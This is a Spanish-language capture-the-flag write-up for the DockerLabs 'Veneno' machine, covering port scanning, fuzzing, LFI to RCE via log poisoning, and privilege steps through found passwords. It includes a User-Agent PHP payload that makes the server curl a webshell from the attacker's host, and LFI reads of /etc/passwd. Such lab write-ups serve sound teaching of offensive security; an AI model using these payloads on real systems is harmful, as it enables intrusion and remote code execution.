Veneno , DockerLabs
En este reto de DockerLabs practicamos.
- Scan de puertos
- LFI to RCE
- Log poisoning
- find
Herramientas y recursos
- nmap
- feroxbuster
- wfuzz
- exiftool
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX veneno 172.18.0.2
En este caso nos encontramos con el protocolo ssh abierto en su versión 7.6 y el http por el 80.
La web es la de la instalación por defecto y la versión de ssh nos invita a realizar enumeración de usuarios.
No obstante prefiero hacer un poco de fuzing pq si no hay nada para que esta corriendo.
Buscando directorios
1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -u http://172.17.0.2
Busquemos ficheros.
1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -x php,txt,jpg -u http://172.17.0.2
Investigamos el fichero problems.php y vemos que nos devuelve siempre al index.html pongamos lo que pongamos , por tanto esta esperando un parámetro especifico que modifique su acción.
Fuzeamos en busca del parámetro.
1
wfuzz -c --hl=363 -t 200 -w /usr/share/dict/wordlist-probable.txt -u "http://172.17.0.2/problems.php?FUZZ=/etc/passwd"
Una vez obtenido el parámetro podemos tratar de leer ficheros y corroboramos que podemos leer /etc/passwd.
Ya tenemos un usuario al alcance , pero en esta maquina no van por ahí los tiros así que buscamos logs que nos ayuden.
Log poisoning
Encontramos que tenemos el access.log a disposición , tratamos de envenenarlo.
Recordemos que teníamos el directorio uploads con permisos, así que tratamos de subir un a webshell , descargamos la que nos guste y no montamos con python un server el cual dejamos a la espera para posterior subir la webshell con la siguiente petición.
1
curl -i -v 172.17.0.2 -A "<?php system('curl 192.168.0.112:8000/webshell.php -o /var/www/html/uploads/webshell.php'); ?>"
El comando superior nos creara un nuevo registro en el access.log el cual se ejecutara cuando refresquemos la pagina y si todo ha ido bien , solo debemos entrar en /uploads y ejecutar la webshell.
Intrusión
Una vez dentro nos encontramos.
Hacemos un ls sobre el home para ver usuarios y también sobre el directorio html en el cual encontramos un fichero curioso.
Como vemos nos dice que el fichero tiene 24 años y es el mismo desde entonces , osea que debemos buscar un fichero con esa antiguedad.
Haremos uso de find indicándole los días que hace que tiene el fichero.
1
find / -type f -mtime +8760 2>/dev/null
Leemos el fichero
Tenemos ya un pass imaginemos que es el de carlos. Vamos a ssh
Una vez logueados con Carlos revisamos su home y nos encontramos lo siguiente.
Esa estructura nos lleva a suponer que hay algo escondido. Ejecutando un ls -laR podemos listar todo y veremos lo que nos interesa.
Nos montamos un server con python y descargamos la imagen para analizarla.
Le pasamos exiftool y veremos una pass conocida.
Muchas gracias por llegar hasta aquí , aprendamos juntos y compartamos el conocimiento sea mucho o poco tu opinión puede aportar siempre.
Si fuzeamos demasiado podemos tener problemas para cargar el access.log , recomiendo en ese caso reiniciar la maquina.
Comments powered by Disqus.